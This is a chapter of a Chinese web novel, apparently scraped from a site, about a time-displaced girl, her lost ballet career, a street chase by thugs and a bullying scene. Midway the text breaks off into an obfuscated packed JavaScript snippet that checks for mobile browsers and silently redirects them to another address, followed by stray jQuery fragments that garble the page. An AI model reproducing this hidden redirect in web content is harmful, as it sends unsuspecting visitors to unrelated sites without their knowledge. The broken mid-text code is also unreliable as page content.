18. 不甘

作品:《滞后效应

    奔波了一天都没怎么吃东西。


    又去了小许面馆。


    同样的两碗清汤面,这次里面都没有放香菜。


    叶雨时真的饿了,让老板多加了个卤蛋。


    老板直接拿着勺子盛着倒进了叶雨时碗里。


    “扑通”


    叶雨时后仰了身子,唯恐被那迸溅出的汤汁沾到一点。


    她拿着筷子,没头没脑的冒出一句,“鸡的屁股一定很辛苦吧。”


    陈野怀疑自己听错了,“什么?”


    她把自己的碗往陈野面前推了推,用筷子指着那颗鸡蛋,“你看,这个鸡蛋比平常的要大很多。”


    大不大小不小的不都一样。


    哪里冒出那么多稀奇古怪的想法。


    叶雨时用筷子把鸡蛋分开,夹给陈野一半,“是个双黄蛋,好运分你一半。”


    半颗鸡蛋落在碗里,蛋黄一些分裂开的碎末将原本的清汤染的浑浊了许多,像是一条条小鱼在碗里翻滚。


    “小姑娘说话真有意思……”光头老板接了一句,嘿嘿笑了两声,低头继续刷视频。


    外放声音很大。


    “我重生了,重生在我被杀的前一晚……”


    里面还时不时伴随着滑稽的搞笑声。


    叶雨时当做下饭背景音有一搭没一搭地听着。


    “家人们谁懂啊……我终于追到了童年的偶像了,贺韵徵老师的告别演出……”


    “呜呜呜……也没人告诉我还能这样啊……”


    ……


    叶雨时感觉大脑好像生锈了,齿轮慢慢倒转锁定在“贺韵徵”三个字上。


    她回头连忙把嘴里那口面条咽了下去,捂着嘴转身朝着老板焦急问:“老板你刚刚刷到的那条视频说什么?”


    光头老板分享欲很强地走过来,把手机递到叶雨时面前,开始重复播放,“呜呜呜……也没人告诉我还能这样啊。”


    画面是一个人展示在没有蒸架的情况下,可以用几根筷子铺在锅里面可以当个临时简易的蒸架用。


    “这小技巧还挺实用。”老板十分认可。


    叶雨时没看完就打断了,“不是这个,是刚刚一个女生哭着说童年偶像贺韵徵。”


    老板很是热心把手机到倒回来划拉。


    视频里一个女生流着眼泪,拿着一张票,票上面印着是天鹅湖,贺韵徵告别演出。


    日期:2015年05月26日20:00。


    地点:海城大剧院。


    “小姑娘你也喜欢芭蕾?”又有客人来,老板收回了手机赶紧去招呼。


    叶雨时久久没有回神。


    她并不是从小就开始学小提琴的,她最开始喜欢的一直是芭蕾,小提琴只能算是她的业余爱好。


    贺韵徵是一直是叶雨时的偶像,也是她前进的目标。


    只是当时没有看到贺老师最后那一场在海城告别演出,一直是她的遗憾。


    脑子越想越混乱。


    果然熬夜不仅让人头秃还会记性变差。


    现在有竟然有一个弥补的机会。


    上天都在帮她不是吗?


    她如果有尾巴的话,此时一定是高高扬起的摇着。


    陈野看着叶雨时从刚刚听到那个名字开始嘴角就没下来过,拿出手机搜索了一下。


    是个芭蕾舞演员。


    没什么特别的,看了一眼就觉得无聊熄灭了屏幕,“想去看?”


    叶雨时连连点头,“嗯嗯嗯我最崇拜的老师。”


    吃的滚瓜溜圆,叶雨时揉了揉小肚子伸了个懒腰。


    头偏向一侧,闭着眼睛,一副很享受的模样。


    出租房那边街道很窄,车子根本开不进去,陈野把车子停的老远。


    夜色阴沉,没有月亮,路灯也是灰蒙蒙的。


    叶雨时心情很好,走路时不时转个圈,“现在就应该喝点小酒。”


    提起来酒,陈野就想到她被一杯低浓度鸡尾酒撂倒,睡得一塌糊涂的那次。


    陈野挖苦:“就你这一杯倒的量。”


    叶雨时反驳:“谁说的,我酒量很好的。”


    陈野提醒:“上次。”


    叶雨时强调:“李准给的肯定不是鸡尾酒,我怎么可能被一杯鸡尾酒撂倒。”


    陈野看她死鸭子嘴硬,就是不肯承认,无奈耸了耸肩,“是是是,上次醉倒的也不是你。”


    脚步踩在路面的砂石摩挲作响。


    “陈野。”叶雨时轻喊了一声。


    “嗯。”陈野淡淡应着。


    没有了下文。


    陈野以为二人就这么沉默的一直走下去的时候。


    “你这些天都在干什么?”叶雨时终于问了出来。


    脚步声停下,陈野侧头看了一眼,回答的牛头不对马嘴,“忙。”


    叶雨时又追问:“你知道我不是问这个?”


    陈野垂下眸子,冷哼了一声。


    她一直都很有分寸,从来不会多问他不想说的事,没问过他为什么不去上学,也没问过的他眼睛,更从来没有过问为什么之前不打招呼就走,今天是她第一次有些破例。


    “缺钱。”陈野挑了挑眉又恢复那种散漫的调调。


    “缺多少?”


    叶雨时知道陈野花钱从来都是没什么概念,他能花五千打出租去江城,眼睛不眨一下花一千块钱买一个破本子。


    他若是说缺钱那肯定不是什么小数目,叶雨时直接往大了猜,“缺多少,几千万?”


    陈野没料到叶雨时猜的这么准,有些意外,“对啊,你有吗?”


    “反正你都快走了,你还操心这么干什么?”陈野说话带着些自嘲的意味。


    叶雨时抬手解开脖子上的戒指项链,“我现在不着急回去,当初拿这个戒指威胁你,是我不对,我跟你道歉。当时我太着急了只是想着快点让你相信我。”


    她语气诚恳,那枚戒指上连着红绳就放在掌心。


    可能时间比较久的缘故,红绳上面带着些毛边。


    她怎么总是这么坦荡,又真诚,越发的衬托的他的卑劣无所遁形。


    陈野犹豫了下,伸手接过,攥在手心。


    戒指上还残留着她的体温,在掌心慢慢化开,“你带着吧,这是他给你的。”


    叶雨时被绕的有些迷糊,什么你的我的,不就是未来的你,和现在的你,说的跟不是一个人似的。


    带了许久的东西,忽然取了下来总感觉空落落的,叶雨时摸了摸脖子,“不都是你的,对你很重要就还给你。”


    “对了陈野帮我先买票吧,我怕抢不到好位置。”


    陈野插在口袋里的手微微动了一下,“不着急回去了?”


    叶雨时:“真正的那个本子不是还没找到,现在也回不去啊?”


    事情感觉越来越乱。


    一千万,笔记本,沈纪然,现在又……


    所有的事情都在脱离他的掌控……


    陈野深吸了一口气,强压下心头那股子烦躁,“非看不可?”


    叶雨时没有身份证,要去海城只能开车,若是从桑南出发到海城一千公里开车需要十多个小时。


    如果是回去江城再出发路程是七百多公里,开车至少也需要八个多小时。


    一来一会耽误时间至少一天,若是真的等到那一天,这期间谁能保证不出岔子?时间拖的越久,意外就越有可能发生。


    叶雨时看出陈野的为难,耐心解释着,“你帮我买票就行,我自己去。”


    陈野顿了半响,语气很淡,像是一条被海浪拍到沙滩上的鱼,无力地摆着尾巴,“你怎么去?你连身份证都没有,车票机票都买不了,你打算怎么去?”


    叶雨时咬了咬唇:“我可以让李准帮我联系靠谱的车,我知道你最近在忙,我没有非让你陪着我去,我只是让你帮我买个票,我现在有工资,不花你的。”


    还是一如既往的执拗。


    陈野眼神逐渐变的疏离,声音低了下来,几乎是在喃喃自语,“如果现在找到了那个可以让你回去的本子,你是选择现在回去,还是等到看完演出再去?”


    明明心里已经有了答案,可是陈野还是忍不住问了出来。


    没等叶雨时回答,他已经迈开了脚步,那枚戒指硌的掌心发疼。


    真TM没有一件事是顺心的!


    叶雨时不紧不慢跟在陈野身后,也不在乎对方听没听,自顾自的说着:“其实,我最的喜欢的不是小提琴,是芭蕾。你知道黑天鹅32挥鞭转吗?要完成这个动作很难,在旋转时候身体不能晃动不能倾斜,就像圆规的固定端一直保垂直,才能画出完美的圆形。这样的动作要完美的做出32次,就算是顶级首席都有可能会翻车。”


    “贺老师完成过16场,零失误。”


    “要完成这个动作需要十几年的练习时间时间,薇薇安老师夸过我最有天分的孩子,说我将来也有可能像她一样厉害。”


    叶雨时说着说着笑了起来,好像根本不需要陈野的回答。


    “后来,一次意外摔了一下,就再也跳不了,还坐了半年的轮椅。”


    不知何时,陈野的脚步停了,叶雨时手指扣着衣角,“我家的楼梯我走了无数遍,偶尔磕碰一下很正常,可是那天我就滑了一下就骨折了,本来我还很兴奋的准备第二天的比赛,那是我第一次作为领舞……”


    叶雨时语气很平静,像是在娓娓道来说着别人的故事,“其实你上次离开那几天我又用公共电话尝试过,结果比上次停电更严重。那个电话停直接被旁边一棵树毫无预兆的砸倒了,每一次的拨通总会带来意外,就像是时空之间的限制……在给我的警告……根本没有办法建立联系……”


    叶雨时说着声音越来越低,断断续续,句不成句。


    陈野想起她经常腿麻,大概也是那个时候落下的后遗症。


    一颗折射着路灯光影的水晶滑落,落地生花。


    那花开的越来越多,汇聚成花海。


    “陈野,你一定要记得那天不出门。”叶雨时声音轻轻地,仿佛下一秒就能散在尘埃里。


    “嗯。”


    她的眼角和鼻尖因为哭泣带着红,眼泪含在眼眶欲坠不坠。


    心头那股郁气和烦躁夹杂,感觉心脏仿佛被一只大手紧紧抓住,揉搓,濒临窒息时候再松开给你一点喘息空间,又再次抓紧……


    陈野拿出手里的那枚戒指项链,轻轻拨开她后颈的发丝,系上,“什么时候摔倒的?”


    她记得很清楚,是为了上楼给偷偷准备给妈妈准备母亲节的礼物,“今年的4月底。”


    陈野一手拦过叶雨时的后颈把人按在怀里,“不试一试怎么知道改变不了?”


    两颗心脏隔着衣物剧烈跳动,像是黑夜里两个相互依偎着舔舐伤口的小兽。


    “我怕下次会有更严重的后果,刚开始是停电,上次是电话亭被砸塌……这些不可能都是巧合。”而且一次比一次严重。


    怀里人停止了抽泣,叶雨时抬起头,眨了眨眼,眼角还泛水光,“其实时间太久我不太记得那个家的地址,自从摔倒后,姥姥觉得太犯冲就搬家了,我只记得应该是住在尔湾,家门种着一排的棕榈树。不过我家的大门很特别,那个时候我很喜欢爱丽丝里面的白兔先生,姥爷就专门在门口雕刻了一只。”


    陈野抬手用拇指擦过她眼角的泪。


    温润的液体在指腹蔓延开来,像是潮水顺着指腹淹没。


    叶雨时努力想要带点轻松的语调,“其实小提琴也很不错,不然也不会遇到你。”


    “只是……觉得有点……遗憾……太不甘心……”


    不然也不会遇到你。这句话像是一道闪电从陈野耳中划过。


    遇不到就更好!


    叶雨时很少会有这种感性的时候。


    陈野就这么静静看着她。


    远处一阵慌乱的脚步混杂着一群人的叫骂声将叶雨时混乱的脑子慢慢吵醒。


    为首那人正是汤聪白,身上带着大小不一的脚印,衣服袖子都被撕烂了,鼻青脸肿的,慌张的跑在前头。


    后面跟着五六个拿着钢管的小青年,一边骂一边追。


    “敢在老子的场子骗钱,我看是活腻了。”


    “大哥,另外一个那个姓温的混球跟丢了。”


    ……


    那伙人掉队的一个跑着跑着忽然意识到路边有人,倒退了回来,拿着钢管在地面上敲了几下啊,“喂,刚刚那个金毛往那边跑了看到没?”


    叶雨时不想卷进去,虽然很讨厌汤聪白这个人,但也不会做帮凶,她指了一个相反的方向。


    “谢谢啊大美女。”那人吹了口哨,挑了挑眉看了一眼陈野。


    路边尽头的垃圾桶里蜷缩着一个人,清清楚楚听到那混混说着谢谢,微微掀开垃圾桶盖子,看到路边那两个人经过,光线虽然昏暗,视野只有一条线,但是那两个人长得实在出挑,想认不出都难。


    跟在最后的那个混混跑了几步又折回来警告,“敢骗老子,就弄死你们。”


    昏暗中垃圾桶那一点点间隙慢慢收拢。


    陈野阴鸷的眸子看着那个混混,眼神锋利又冷淡。


    落单的混混仰头看着面前高出自己很多的陈野,极有压迫性,他敲了敲手里的钢管壮气势。


    “当当当”金属与地面接触发出刺耳的声响,撂下一句对陈野没有威胁性的话就急匆匆去追大队伍。


    “看着真的会闹出人命啊,要不要帮他们报警。”叶雨时有些担忧。


    陈野:“我不爱管闲事。”


    走到了家门口陈野才问,“为什么给他们指错的方向?”


    叶雨时说话还带着鼻音,“你不也没拆穿?”


    明明他也有很多时间可以插话的。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018873|193817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    陈野好像很累说话有气无力的,“早点睡。”


    空气回归寂静。


    陈野躺在沙发上翻来覆去睡不着。


    那个破旧的本子安安稳稳的躺在桌面。


    月亮不知道何时露了头。


    从阳台倾泻进来的月光撒在斑驳的封皮上,像是某种古老神秘的仪式等待召唤。


    眼皮的痒意越来越重,陈野看了看那紧闭的房门,起身去了卫生间,扯掉眼皮覆盖的纱布。


    拘了一捧水往脸上泼,水渍泛着盈泽顺着下颌流到喉结,陈野双手撑在洗手台上抬头看着镜子。


    没有开灯,月色透过窗户他的右侧脸上,睫毛上还残留着湿润。


    “吱呀”


    卫生间的门被推开,叶雨时看着镜子里的陈野。


    透过镜子二人无声地对视,陈野五指慢慢收紧,手背青筋暴起。


    “啪嗒”


    下巴残留的水渍承受不住重量滴落在洗手台。


    “你也是骗子。”叶雨时冷漠看着镜子里的人,像是高高在上的神明鄙夷地审判那个卑劣者。


    陈野避开了镜子里的目光,视线垂在地面,看着那双脚,后退,转身,离开。


    他下意识去抓。


    身体连带着手掌一起落空,失重,陷入无边的没有着落点的黑暗。


    紧接着就被卷入漩涡,无尽地下坠……


    呼吸逐渐急促,身体忽然有了着力点,陈野猛地睁开眼睛,漏出水泥的房顶落进眼底。


    是梦。


    曲起手臂横在眼睛上,右眼的纱布还在,额角的薄汗顺着鬓角没入发丝。


    胸膛还在剧烈起伏。


    坐起身,借力着昏暗的光线看了看紧闭的房门,喉结滚动,仿佛要把心底那份惶恐和不安一并吞吐入腹。


    长臂一伸,拿起那个笔记本,一页一页翻看。


    “沙”


    “沙”


    “沙”


    ……


    像是钟表的倒计时,在黑夜里带着无声的紧张和压迫。


    手指忽然收紧,合上本子,陈野抓了一下头发,仰着脖颈靠在沙发坐着,闭着眼睛睫毛微颤。


    坐了不知道多久,大脑却越来越清醒,他拉开抽屉,看到那只之前写协议书的那一支黑色油性笔。


    黑暗里看不清神情,陈野僵坐了不知多久,手指慢慢探向抽屉拿出那支笔。


    握紧,在桌面机械又杂乱地一下一下点着。


    黑色的油墨印在桌面,密密麻麻像是洒了一层芝麻。


    手背的盘亘虬结的青筋像是黑暗涌出的黑线束缚着他的动作。


    越是挣扎缠绕越紧。


    “嗒”


    笔头被折断,黑色的墨汁飞溅到手背。


    星星点点,错落不一。


    陈野盯着手背上的墨点看了许久。


    想起要擦掉的时候已经干涸。


    他起身走到卫生间打开水龙头,那墨点像是沉在水底的石头,任由水流怎么冲刷仍旧纹丝不动。


    陈野抬头看了看镜子里蒙着纱布的右眼,视线又落在那些墨点上,来回看了几下,摇了摇头冷笑几声。


    拿起肥肥皂开始揉搓。


    柠檬味的。


    手背被搓得通红。


    二十多年前的本子,现在想要找出一个全新的,没有使用过的谈何容易。


    不如就……复刻……


    替代它!!!


    他揉了揉眉心。


    费力地吸了一口气仰躺在沙发阖上眼皮。


    第二天叶雨时起床的时候,陈野还在睡。


    她轻手轻脚下楼去买早餐,顺便看九耳那个小狗。


    这几天不在,总担心小狗吃不饱,来到地方看到它呆着的地方还有一些骨头碎渣,肚子依旧圆滚滚的,才放心下来。


    虽然你没有家,但是还有好多人在乎你啊。


    九耳看到叶雨时过来,一动不动,黑溜溜的眼睛眨呀眨,片刻后像是忽然认出了来人,四肢凌乱地朝着叶雨时跟前跑着转圈。


    叶雨时拿出两个肉包子晃了晃,九耳伸出鼻子嗅了嗅,低头在地上点了点,又抬头看向叶雨时,示意她把包子放在地上。


    包子刚接触到地面,九耳飞快地叼走藏进潦草的“狗窝”。


    旁边还多了个不锈钢的小饭盆,盆里还有一些火腿肠的碎渣。


    耳朵隐隐约约传来争吵,是一个青涩少年歇斯底里地质问和嘶吼伴,随着细细碎碎的抽泣声。


    “是我让他们生我的吗?”


    “凭什么要我一直迁就你?”


    叶雨时悄悄走近了两步,侧身透过墙看到一个女生被一双手臂抓着衣领提着,对方的身体比女孩高出大半,女孩费力地垫着脚勉强维持着身体的平衡。


    怎么感觉有点熟悉。


    “本子你拿去哪了?给我。”


    那双清瘦的手上还带着血痕,粗暴地拉开女孩的书包拉链,翻找了一通没找到东西,“你是不是也知道那个寻物启事?说,本子你换了多少钱?”


    “一千。”女孩弱弱开口,声音带着一丝哽咽。


    “钱去哪了?我TM问你钱去哪了?”


    男生的声音也很熟悉。


    叶雨时微微探出身子一瞬间又很快缩到墙壁后。


    那个男生是温藜芦!


    女孩是昨天拿给他们本子的人。


    争吵还在继续。


    紧接着就是书包背摔在地上的闷响。


    “你少他妈委委屈屈的样子,钱去哪了?拿给我。”


    “爸爸生病了,钱交了住院费。”女孩语气带着央求。


    温藜芦冷冷开口,仿佛听到的是路边叫卖的吆喝声一样不耐烦,“是又不是我让他生病的。”


    紧接着又是一阵窸窣地翻找。


    叶雨时看不下去,清了清嗓子给自己壮胆,随手拿起一块砖头气势汹汹地要走出去。


    温藜芦早已不见了踪影,女孩背对着她埋头捡起地上的书包,背带已经被扯掉了一根,她拍了拍上面的灰尘,抬手正了正被扯歪掉的领口。


    先是左右看了一下四周没人,才吸了吸鼻子,小心翼翼抱着书包朝着大路那边走。


    年少时期的自尊心总是特别强。


    一点点尴尬的窘迫就像是多米诺骨牌一般,带来毁灭般的恐惧和不安。


    叶雨时提着早餐假装不经意路过,“诶,是你啊。好巧。”


    女孩眼神慌乱了一瞬,迅速垂下眼皮,手不经意地捂住了书包上那一块拍不掉的污渍。


    叶雨时为了显得自己真的只是路过,指了指不远处停靠的那一排车,“我朋友的车停在那边,我去看看有没有被贴条。”


    女孩子顺子顺着叶雨时值指着的方向看了到一抹亮眼的红。


    跟昨天下午他们身边停的那辆很特别的车颜色一样。